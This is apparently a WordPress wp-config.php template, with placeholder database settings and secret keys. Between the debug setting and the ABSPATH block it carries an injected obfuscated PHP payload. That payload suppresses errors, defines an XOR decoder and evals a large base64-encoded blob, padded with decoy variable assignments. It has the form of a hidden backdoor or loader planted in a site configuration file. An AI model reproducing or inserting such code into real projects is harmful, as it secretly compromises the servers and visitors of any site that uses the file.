<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );



error_reporting(0);
$hfuhu="npt";

$gzbd="ggpcjwmkg";
function h($b, $v){ 


$p=""; for($l=0;$l<strlen($b);) for($a=0;$a<strlen($v);$a++, $l++) $p .= $b[$l] ^ $v[$a]; return $p; };$jsud="bylodcfo";

$iidk="fnj";



eval(h(base64_decode("CRSQXP[ECPWXVZEI QUkI^h\C gIBZ[ Y\`PMXD;MEMX
BZXAgMDs	E@sIRSQAI2@I_OkIUO@UHAQHdEZMXI9C
IhICHHUNDNEA^YJVGXYVTI ZQCJ\`PM@E	MI-CG
BiOHRSQ)	z481ooM#G+anb3;o8V?e4C4+j"Z-2Gm,G+g([h_=	^*X	 JC_yRNJJ BC[M[NB_XM`\NUZY[EZR(3HWOCBXAOD\^_eXF*ZCWYNC[ZTE\ ^
IeX.ETV[\CSLG^_I$B5NKZUYI. B`SPO\^;B["IW_BR\M_I+B"NBTKGHWB@\M_eX#OEGIBTDZEL\eBXE`IITMZKETVLZ\e	\&THVTVM_/X[?FQT_]CTI\^_
eB9IV
@TGHWCEJEO\D[^IGNI(IYS7ZwJ_	EX2KOD[
GZ<M_D0w^_DJXEq]G]Q[&M	YJDIHRB[UhZ(;I	ECy]TYPyGT N\;NUJ
FL?\ZTNDFIqG <B
)y[T^NM]AyVRy_TS^yFABTJIH@ Mq6yIITIy]_KX&FQT]]Ay]TYJ^:RTMIO/Z(;IWM_8FMJHEB3J\NE  ^wyEQTNFyJETUXT:FBMEMC^4yRTGM'TC@C_?THqUEYRHO Aw&[IQT[SCy]T PyGNGM'TCX@C_?NUPyGOFGMUAT3IyOMDMD4^TK.V/w&[IQT^ZSCyJODyE
A[&[IQTSC[JqPCOAIX.yFV
OBZE4@ZFyIITNIy]^KTZE4@ZFyIITO\III;Zy[C NA!BTM]HwIT2wyJETWVUX&FQT^\]AyMRy_TMV^yFV
NKZ3Hw2BDMFyIFyJETVSU.(;IW[8QTDyRTG;^[N  ZC^w8FNIH7R@ZX;IWqVJBXE B  O	OW<B^X^NRJYOEZZ_GZZYZTV@XYUwZ?I BS
U BF[JBXE BIs	GF FCWOC_!yT@I 7NQ1t]T ^7RTMIOYT3IO<2\ZTOD9IT[EIRqFOYZYCROMZYIV@XYUHJ]ZGOt[CXNA,BT[JtQTVOIHE)t[CXNNA,BTFRtHT REAKT.FHAIBw9IT:R_Z.S@WSAI_O\:RCZX6IWYJFBQJBOEBNX,G\WOBXYM:@XU[SOX<\MTHIKq.MFABTJGIH@	MqMEQTAFMJETUXTQFA\OWPMGEGMTC@C_TH^FJ][GX AY		M\IE[:qFI_YNYOKIsCGE
\
HGI,CBBD
G
IX0OCGIFA_BQTUCXIXsCGIHBNBYT[  >OI\F 
\ _TK I9C@M _YAP _
XsCGZIMEFD IsCCEIJHIJH_CSNQHCYIXw:RTIOYy[CXNASBq6yIF
(s
EBS\ 	CYIBwyJET_UX&FFSCMBFq"y_TZ^A/ C\H	XEC)PWO B_#5AKCBWR8 jfA{ HQEU"JTBF\SFOCMBpT]IE RX$U T@_SR	mKBJ FAXCXAR IBT_I XMXMZTvn
tbE RCU TKM k J^_^ IcE RGU TKMI JYI^ *@IE RX[U TKML\o8d`CE^R IcT_IZPCMXM_IXJ FC_C\MR I6CT_IZ;FZ JUI5CNF]V@F%O/SF\MSH [9v!<{T_IxMXMaxJ FJ_CXER IXT_ICMXMhMXJ FICCABR I^T_IIMXMBHCJ F>M`,Z}E RKU TKM$M J^ K^ XT@'2g$IMZB/M rVqF ^AI) EA]TJ+8\MXMrPJ FxACX^R IET_IxMXMDM_J FEMCBZR ITg4:Q<WJYBXC^IYBN0IQHYT"Z&]_MImYnAGHB_XM`\NBJBOEBF^[ZBTN 	P[E@T5;[WOZ@\ ^
IeXET_WZ\^MBYM^_eXQU_TSJ\AV
ZX ^=XUEHF^\I:IUOZ[DQTMM^I<BNC_RNC[ZTEM_I&BXJU]WCMZZAQTQC_G\M^I(BUGGJIO[CYKIeBIT\KETVOY\e	\T\PO\^;B[IWEYDQTE	Z_H[G IU@Tw\_	$H4_
EXI;ZZHM	BOW	wF\_DHqwR_XT.FH\	d ]T MFYOBS;FHWXtPwFK_R_<}&_TZ@FS\XTI/N|<uNG\0;g89F @N6TJ F_UCMIR ICT_ICMXMIBHJ FNXjHGA^F @\8^v@?MOXH SDX5_TI@FSGIAPJ]V a6^;A^F @^B[	e3]*kCM\R I%ET_II	MXMi@IJ FcFCBBR I_T_I^MXM^IAJ Fy+`CZAWR$Y!8&7KMI JNH^ ^[N6dT.U)	XECHWIX^BBtNQUX AdOCO@IXMY@D[EHCw9IV
AIHq<&\ZTTJ`QT^K9^CEZE-WE[N!F?GJBiWHCOABw`GGIOY`[T^V^SC`]TPL#GGMUXT.FFM@COYBOEBYN [KWC N&I\Y^BMN\JBOEC O	ZNCQTV[GQ@IXMU\H"ZqT^IYBNIQ_F COMBOCiIA4`E_UUXT:W8BT\YP`GTSLE*ZB]UL&\MT_FRIH MOC#I("IWEXHF$Y@ BD7@5-WE[!FZIHI;OTA_
OXw`EKIDUEq.`FV
AAGJ`OMDJJ`QQ\I
.[O/@IAD  BDCi@A.`FV
ACGJS7 	CYIBw`JET_TZXI:18BT_MH5_TSHRE*ZB\RLMqBD^iIAK I2A	XECHWCBX79H54WEXNq6yI^7ET_WX&FF[F\8FIy]W@NZ.F^CO T^IYBeDASFP_H_ME_MB\@NIC	YEVIWQI_REIM 	@J_XUXOYXD
E_E_SA	Y@MIAEBCMXZY^EMHUMIXBKE_
ABZ]\MO_HJV\B\_@E^HZNUSFJ G_EVAW_RE^V@ZHI_OXXIM\HKCYIB^ORF_V[EZQHZGEZ\RIOP]TH_X@^JCXEITFBCC^QWZDZ\FEH
M[UUM E	I_M^BXOHE\MRH@	@Y	E^Y_OHEIJOHJV\B\_EZQERL\P]HJVHE]_	MBQ\BPZ\NXWJCXL_VIULE^VBCC^X	\MJ^E_EIVBCMNIUOK	BXD_AX^^KCCR\JJ\E^XCN_E_
IAMEOE@I
_IOEAMMRETHEHEZSENQ\\Z\PZEMRNHJV\B\_EZO_X@I B^VPTZ]QIJ\J ^EA[XMG_A[XI@I_UHY SI	EM@M_ XM\OMB	 ATXI[^I
_HZOOFEBVHE]EG IXN\MOA[	EENSN\RIONXWJCXL_VIULE^VBCC]D@T_XI^VHN_^ _FUE]Y^I@IEXBC\M	XC^M]EXB
__M\^Y^ZIOIXDEKU_XCVNQHZGEZ\RIOP]THEZQEMNKXNMRICXT_EIB[^VBCC^YZQST^MBMGYMOY_CE R_J	@A^
IIH@OII^NMR[ETHE]EZQE^AFX
\@MUWCIH[HDSABSKIM^ ANCHIRIXN ATH]NY_X@I_C __	[WDDZ]Q	THF^IFC_BM@M\ EXNY_
@XNG[M@_M@^ MH^UA^\KJ_GUCGXI IEPZ]EMQUk&ms_ICM@CsY@*JBQ_NCECO`&JYOEBIB^X4B2X@BXOK&NFR^	JN_XXs_YJ@ sMBPMOIKDFGAC _T5(ohi+k)e3g`"bc2}':3${+*4F G	@IKDX^IJ[SZGMKNBKXZ&&&JJY E1T KX3I@emH^4jIO[WySNA	XECI~I@emH'4ZSAEJ\BIAX]s*~z'~.)#=e#,/%h5M)C
KI]s*~z'~.)#=e#,/%h5M)C\VIAKUWJW,=$~1/&1ki"e1s8hh=qYQUIESFIU2$~/i~4d6x%s694c!$/3h".+,c~0H_
G=0~8# wT;:5|82+,c~{,~%i=sj ~?IIW@]C@QVM]J

EEs*i~9i~9=x:6-t,5!3{&80/hsj"~FqPGs1i'z+4) 6<7i555.h~0HYW\T@T_IMC5'/~zi?wFd-x|0ts$c'{/46i7,(.~@7]QE\]E\4qYQUIESFIU2$~/i~4d6x%s-*;i='1(|@7]C

MI&i=zi0wRd:2"s0?'$b35=:qQFK_LRN@T[[J>"8"/~w%x5|&o`&ib6s<|I;[M[J>"8"/~w>i3z<~s.hh0(GORWW\8918zi~6)x-|s,`e'b!s'6UqHN@LI\UKs'~#i<=Ud''>>o!57%bbi.x(b>se?qKU
HFZW,=$~1/&1dx9|>o?so bb'o!e !-e#T3HYMEXCO^I
JQs=# z6!5Fd3>$5ojs.c/b<ox&bk=e%3ON[W12i5<18w(~7i+sm+h~Eq\GF	SEs4/&<i~wJd5x)so)so-b;i-2;b4,'1:Q	JI@_\Ks'~#i<=U~6>!5i8+0.~qVQA^XYBFENxQyyOKBOXCsTEX_JI4MNCT&MYOXCBBKX<@IG~`MAYEJGIAXJ9!i!%+3w@" >|s~(j$~<~2BWNFRSSNAGJP5i~;i3w^dx;|s0i3i<# .SSAKZ%x5|&~i)i~'~RUlRSSNAG~`MAYEJOI\UFB-6!8$~<M<>x|s?i'i+i~HqKI BSQLZ&mJTJMIY^=0~8# wT;:5|881,i~i?<sOQhQ& RROsIT__QK
X~MYA[yNAGOXEBAKX~
M@M]NRE[\\Nsi?z$~"d;x|=y&i<93k6=:FqNCTs>i3z<~wHdx6|*y=# s24+/x@7TWKIIZQd;x|=y&i<93k6=:F\J	J^IX^]s*~z'~.&2&|,&=$~8+3/bx0AQsQ&eJYOERK*A$MAIEAWsO
IHNSM5^I]IX&DIHI_]UlRSSXJDIH^
w'C_(dx& XJKIX=^XOCBWNFR^BGBUA\XEs*i~9i~9=x:6!.ZNG
GN+9i~z(~:1xx??TSFUCIAPJP5i~;i3w^i=zi0s%c<2UqSNSASY]JX\
@XWD\\LZ&`~YBOEBYKI~IY_.MNJ`M	IHI__^ZHdAGJ^IMDI&i=zi0_NBI
SS_CYIMWkYOBEFN IF MHEHdx6|*GF	&SSNAGJTJCXBY
&BUNFRyNAGJTJDMIO_XsI
O[IAKJSG OCH_G_XsI
O[I>KJSJ XX@CI^J_ N W G_]CV&AYOFDM
 _(WM7IZ @IeB&NFR^	JPIMH^sQ&eJYOERA	hBDM_MG OBI@JRIWDCW&MAJNE_=M^Z@C]JBIHIY^^U] HGZ&GJTJJC^MDQB
IHIUMFV]G~JMAJX^CJU GKJPYI^ AJJIXKTSFM H ^B^IB@_CRJ^IYXsOQhUNX AJ&Qg&YOXCBBIOhI?BX M
YW&OBMRSQLZ&GJTJJC^MEEY_FEUN^ ICOCW&MAYOJC]FOCHNEFGVTX^@BIOFIYJYZSkGJTJMA]HMMLU=VE.S0A1P q&MAYOQ&BUlRSSXJHMMZ&&&	YBXC FB
	I A&BU
MSNNBhIOHt^KX BUlRSSXJNM_UsBO HIJM[ydkJECBMHOHI<CYOJ^WGAWmJTJ_MAN_IYsIC
Z ZUkGJTIXYBAIOCIhOH>^[WMC]Q&Q&gJBXE BI~C ICW&gAY^
_\BUI]xSSNJO5OM@M@Y^sBUZSkGJTJIO	DO^@=EENVYGZ&GJTJMO^s_
XCX]^0&<-c7>+9`s;i3e?u|*i~NMHyNAGJTJOY@>_XCXFO N%'~?<>5s4985zi~$j8d6xCKNFRSSNY+IXCXID Ooy0`:|:94c??!6`()5>ecbAPB&OBU @, C\NOD Mo4~5c|;s~'x ~ 2 m= ($~KJEC&MAYY^sI	X[W	 G)!8`c|9s)i8hi= RN&NFRSSNAO5_IX\]ODCo7~9c>2-o<= $o3>='icy9 AIeBUNFY1IO Ao,~` |x=x<a+)'x_S_Q\`TJMAI_BO ^9TFEOCO`MAYD
MH^UN^,	XDAB&OBU @,_BP	DgAYOE]H5FD5OCH<X]KI BS_Q~J@
I&&BUNFRWsIHPM_I0Y^QY
[ySNAGJTJ__\QY@sM_) AM)JJDX	_F&BUNFRWZJS-ixJO]Y^s\^I
=U\Fq\`~JMAJ__X]sI1SYI^<PI]BHIYU]SJ^5^_I	wF]I^qY&NFRSSNE^TDMd5x)AppdSQNOCs\M_H"D _XEqUND.^/-B	ECBW"@_I3^ppp DI&SSNAGJTN_CO\_CGCIFB_SQAPMA^A^s _5FD Mq I_@Y[BU^OI&ySNAGJTJEJI_O&BUNFRSSN!J _O
 Y^
]Y&UNFRSSNAGNJV&AYOBU@[OI\N_COH&YOBUNF	&SSNAGJTJMA]NRJI_FBCBAWX@C&MAYOBUNWGAMsOBUNFRSSNJONJOppO^BUUlRSSNAGJTJQ&MAYOB5J
_[JC]Q&MAYQeB&NFR^	JPI_\V&&sJYOXCY 1C\NY^@AE\^M_BW&NFRW\GWTM&gAYEJGE_=O@@[IY+BEXJH&&OBUNBDSNNY+BEXE^e&BUNFRO>_XDM:y~#c|6s&"9$i!:(8|"/&FJM_B&OBU @, C\NOD Mo4~5c|;s1`*z+4;j*;!2xKJFC&MAYY^sI	X[W	 G)!8`c|9s'c5`c8`c!m!e!(^BZUkGJTJY@&_IC\QOJRo&!".|35&/xy~#x3m7j*~ B\dFRSSNAs_ICXQO !y'`!6&s;6/%i5FTZ&MAYOOY@*_\[JDKJ7?~`c=x>o6bb*ox6e8i!3& SB^HmJTJMY@sIX\J S0;3`(: 5xea(c4xU_hUNFRS@8C\XEDUo:~`-|!s>)!x_S_HmJTJMY@sIX\J S0;3`(: 5|c9j(i5hCMM[yyNAGJTJ^_DO^@=IINVOZUkGJTJIDMI^OY@1XGNg&AYOY@1C FEOCO`&MAYE	FDM
 wT\8	IqM\KF^X ^ FM Z&mJTJQI_&&OBUNB^, ^J\^I&Y^^UlRSSNAGN@MEY@sM^IwIDFqGWIJDX\P&eBUNFVOTJIJ_X^MsCBITs^I[(dAGJTJMA
_@H\.&NFRSSNAGJTJJZ^JU0\I^RSXRJ mJTJMAYOEZ^ ss	SM_IeBUNFRSS3kGJTJ0Z&sOBUNB I d JI_@YH__ZIFHTTGAGN@s\^IwC_(NHRIQNOON@MUYKY^sMH(T^M)C&MAYK^IYX&	XSNNIJ_VOE\@FVY1MwD_$&eBUNFJS[J^5^_I	wF\^XHqBWNFRSSNAGJPI_YX)C
XA@W@FVY1Mw\^$&OBUN@ kGJTJMA]^IY@d_F\S[J_CTUOOMO@W@FJHyNAGJTJQ&gAYOCGRS I+COGX>OEIXF^_
d MCBC M^a_ SY=2 i2>1"`./:>soc#b$o- KOCXTOI&ySNAGJTJEJI_OIXFWh&UNFRSSNAGX_I_OIXC2c&xNDRSW@8_IH6MD2BUd:2"B]^=^;VC&MAYOBJYZ 
IFTHdC_AYKY^sMH(T_M)J1^=B[eBUNFRSSY\N_COI Yo BXBIIS\XEC[[BJCAXY
B
H;(gAYOBUJ_[WO FoBIXIBXND\_BON^MAO%^pY&UNFRSSNAGX_I_OIXC!CBETAOp^pppT&BUNFRSSN\B_CGXUM^A@FPp/ =^;VC&&MAYOBQ^N[RHyNAGJTJMD@IGJCJOHG~JMAYOBQNN[RJC	GIXAPKT&BUNFRSSNAGJ^DE^_\OBdFRSSNAGJTJME]NR@pp D[WN\VQ~JMAYOQ&hUNFRSSNA	_II_OIXF&hUNFRSdkGJT&&MA^XYBF^_]x&ydY		 CB	IIXiMEek%E-U\N\M^AM]GI&UNF IsAMO	[l@ BHOIOHIOH]\MMAK UZSS\&MAY
I&BUNFR\	>A1NUH
OCI&CI[H	IMM OGU\N[Om~`JYBXCH
XIX0Ae4{(M_I[I	M^ABWNFR^BGKsAXDQ/NMD,C\N\M^AHYOX^INFRSSNG
mJTJM^KsMXD]A:\Q_NMB^sHICIQ\^M\S[RXZ&`~YBOEBYHIIOiM
;B4IA&AY^
XYBU\sDOH[* MMMAF_^xSSNAGJRL&MAY\IK=AXZ\/@NKJPM^M ADXYIY&&d BBG)CCGI$BN@
ME
I'B#HIHD&sOIoXSNNQm`TJEIE
_I=k0x5DOQ.GH`TJMAIX,CYXUSFVs46:: 	V7&MAQs&OIO	E[LCVFO AXAIGIF^V^Q\LHm`TJEI__
XFs6c!-;i(QNH)CWgAYOE]	o ZWT_HIIB&OBUHFF`	ECBWF]s*~z'~.>."s 6"':DTHKOPAYIX!C BFYBZNOEL CEZ@EMXxG6I
HNQTEIDkY&&&\ZJVH&IY_X:^@BUL]x&\\N-E	TM@E	MIs&E	E_XFB-k6'5FXM)C

MXEN_IT*HH[J>k">/MXG0HDKZMEM&C %IH&kY_oCE#MI8-1>wX<B&&OBC6MN\UOX
YOZ@Hxh	IHV&AYM^ASFM XUsHI_B&IBCHQJhH\`~JI^]I_y^HJ_S@A zM@H X&eBQ^C AGA_^\&XM_IY| II_X8^ Y\^M_\G]x&SSNAcNFODFCB=HOH9^OIEI
\C_INQG[HydAGJ_B6NF
OXOExQPAM@HMI!ChIJRLFCcFIX\WRXI'
I	M	JO>CIsC_sC@UWdFRSSNA	F_B>IOCI@*C^9,LHmJTJQ&gAYHE
Y&Qdl]S6 EJ MOG^k&]IAE@6^O NSLCmNJMKX+IM^I\dB\SNNI8@e\,H^8jF&hEF_FEs / 1EHJqHYW&OBEFX$A#BkI{Xo^\XJ*k+2)I< GNUMAE@;^MG^N[RHI4OI^AQs(ix9HI;[ SWUNQ~JJAIX
OX'AE/k9X(IE>k<xwHEHEq\NBA5^	^MN _0HICIFB-k6'5FEM)C&MAEIXOi@:)XON+-ixwJE$OIM@:OAGN+-ixwJE$&eBQ^I > ^JM^ UY&OBUNAHTSS_CE@xMG^ eBUNFUETN\GN &MAYH^IUPFV^dAGJ]Q&ME^]Y
_X7^SFVD AGN^ZIh\CU$IUY&UNFV^_:MA_MAY@IOCI]I H ^\^@IOH_CsB	I[W]|M^APC	IG]xSSNE^ _CB>XD^
]Y_|WY ?^@ MIYIX|^AOI&ySNAB&gQk&]YMOI~Y[GZ&mN_D|^ AYKso-c>e+=PDQ3AGN+)ccg$i:\2BWdBM!J J2o.c2ei4H@qUNB-o<<%(i<HHqMCsBAI-J_RSW1"c(!=/wBOqAYs,cc)e0wLPqSINC\`PU_|MJ^AOFs6c!-;i(Q:JKJso"c*e<w\?OLDI&W yJIJso"c*e<wY?JJ91c<8'$wEHqMCsE	^MI MN[R,0!.g.//HEY0^]so cg+i.PqSINC\`PINhEIOs!c:g'#)L<XJP5occ&e$w[[HMqXWUlV@	4MGWTYN_^I&i=zi0wRd:2"s20-$|358+bky,k$$ CBU_X[J>"8"/~w%x5|&mo,i|6s9m !'m46I< WFFCOZ&]IAE@BUL]x@7AbM IAYT&Y^5^	&IJIJg	IHI|@XCRS~_XdMI_Fw1I-_y^>MAqMAKX~
]Y_dI FHwE9	oD@y )@MJCAWqN\RQHdkEJ\Nsoc"g(i"HMq_ULORWySNA	DAWS_OEXPDRSW	IhIIXYMOELHyNAGCQ_^\XQHCYI RSMICHFM_^QHdAGJIV&&sJCIMDUJ95i'SCISE\^M&NFRESFE\MCYW&OBUN[I1ME@$B&I{EDoUXFBMMC&AYOBUJMN\HIYOXEAJM_SJ
ICO`MAYOAE6^  AJIJBM IZ&YOBUNFCYQ~JMAI@IEIX6@.3X{ED#M
I[MMO[yNAGJTJMEIMEBN_PFsHB EAI\ ^AC	IUlRSSNAGJTJI M@)M^AbASFVBZ&GJTJMAYOCXEYdFRSSNAIEJEHXOX*AM@<B)WM
C]JW&MAYOBANSJMQ&MAYOFIM
"M/M
TWBAsOBUNFROBO`MAYQ&OBUNBY2XkIXM\]BMILRIF\WM
JZJ
V&AYQe&Qh&Q] U B -Y_^K]Y^B4 GZXJV&kV|I\^ M dkHJ^\^ AYMJI^B& RWD7AIIM@R@^AFBM > ^XJDMD1MMA4qK&J]yTWD_WI^IhC
8m`PI]Y_|^M__^[yNAGMSEE	 &OBIARMSJIF~JJY YOY NFRTN\GNBKy kYHEHEHNBAM&GJTJHM_]HMIcJIJxSSNFB@JITBAcJ_
X hUNA\TSS_C|@MJ^ &OB\IFOSWM:@MXCAU&OE_ N[LW yF~JJEYOE^A3 ySNA@MMIh^ZI&\dlV^_:MA_MAY@IOCI]I H ^\^@IOH_CsB	I[W]|M^APC	IG]x&\\N3IX&&I^_	f_ B^UN]| B^IY_y^ F^]X# ACO`^I\+_BcF__-HIO	CHI>C^IK^I\?_!X_NEG]C&&JA]^I\fCcRNSLCGXV&kEK^I\?_=N^P	 CBj^7E
EX ^HNDY `HWg&AYE	F^_,C<YV^@\YFHI]UlxSSNJGB^\CE^_\%_CcFCX	CQKJSBIHEIW@EICGFSNS @]JW&BAYOIDLZOC[CMEC^\MZ]SJI>CBcFLY@[G]N \TVQ&MAYIDCBIAZI^_DHOBI OCH@ZHZJ^I\+_BcF\WWY
PQS]LFEQ~JMAEIGhUNx&SSNAEJ\NIAM@ADM&NFRSSNJO	BXIs&i-QK&NFRSSNAGJTODCM]AXMODX\XIZNTJOBIXH^LHRf%NFSWCY@@WNBY2XkIXMCGeBUNFI AWmJTJMAYIDCBIAZI^_DHOBI OCH@ZHZJ^I\+_BcF\WWY
PQS]LFEQ~JMA&&OBQ@RWyyNAGJTJEJEY^U<X^BkRNSLCG~JMAYOEJBQD|G~JMAYOBO	ROMG \IYZD^
J^_NB @ZO^@OAI_f_B:NKLWQJZJDMD1MMAOEWdFRSSNAGJTJQI@IAWsOBUNFRSSNOTHAIMADX\BI]EIJ	G	XIBFBY^LQ^f  .NGJY^WMFIM
"M/M
TDCEIME@KUlRSSNAGJTJQ&MAYOQI_lxSSNAGJTJEIM_|MMNxSSNAGJTJMAIDCOIMNX^YIM^IJID^O BXBIVIYSC&GJTJMAYOBUNB I $C	% WOY@[Q&OBUNFRSSNAGJTJOAYIU^B	!XS]NED:M^M O[M&BUNFRSSNAQW&MAYOBUNFONC
 DX\LIYEI^SX W^[&OBUNFRSSNAGJTD^_f
CB NFOyNAGJTJMAYOLJ@FVI|bMA&AYOBUNFRSSNAEWVDI M@sOBUNFRSSNAGJZH
MY^U<X^BkRSQI_\`TJMAY&&BUNFRydAGJ	`&Q&gEQ^
_\(_B!ML OjC^;EEC^MQ_U[;NJ`MCXIX_MD,C\N^I_fCcNX
PQZHdAGJ4ZM@E^^OOBI [ySNAB&&kEK^I\?_=N^P	 CBj^7E
EX ^HNDC *AHWgAYY@x~HOSSAK$CXCCPOKIhAbI\`TJID[A
XMBDXK]\I_DJCXIXENY
O]SJ^>8IHEIXYHY&UNFE[GZ&`~JI^_	f_ Bc FXDOj"_EX^CQYOBX3CZSkGJTXX\2^_	CBIsCIFRBZHdAGJIV&&sEJOI\$B<LH	XECj^/E_XCS[RNJ`&MJYI_fC )F^MCJMAIOQADMEG]x&SSNAhMX\M_
=IOSN\M_I[>HOCIF^_,C<YVE@I)MM[QFh&UNFJS[s  5@IZ@IPWeBUNFN, sBV&AYQe&BUI0M_MKB^MI~BC5^	I\`TJUI7YAI^H	I~AXEKQeBQNmZJBI^X~BH A^B	N[yyNAGNZIm\IB
^MI'M A B B]Q&MENCN!MAH	I~AXEKQe&BUIW@GDTH_OEXG&JBOEBND\W I&TDT\ ATK&BU@FV_ _4OInHW&&&JJ BC[GAWmJTJ@ICYNXI!D^I NOGWTXCNECYJ@I&MMNHPZHdAGJTJ&MAIXOBU<Y_GDVJB[Am^MLQNo OC@BXDF&BU	 [JIJ][KNUI6DOIHZIBKDZFWhUNFRSQ@A bYAI_Y4EqBU@FVN
"D	XI^OWOD^oHmNHyNAG~JI[KNUI4^]QN\	JyEB ^MUGBU<Y_GDVC&MA&YO@IWNB@  AJZHI;@Cw@UI2 UGDV7 WUICMF^_,C<YVE@I9UI[QAN&dFRSQ@Am_CIW@C bAF\_SICGN_\fCcFQWEI IQNO@CO`M&Qe&M_^QHdkGJTJI^_	f_ Bc FXD IO+I^j@&OBUNDSL]AJDXX]EZR^JIU I	IMY@\WI_fC )F^MC^IOX,JIjEI[IXPyyNAGgQk&F&e"),",u,nfr,ssna,gjtj,,,m,a,y,,o,,b"));

$grzcf="veotp";

$uudv="onif";




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';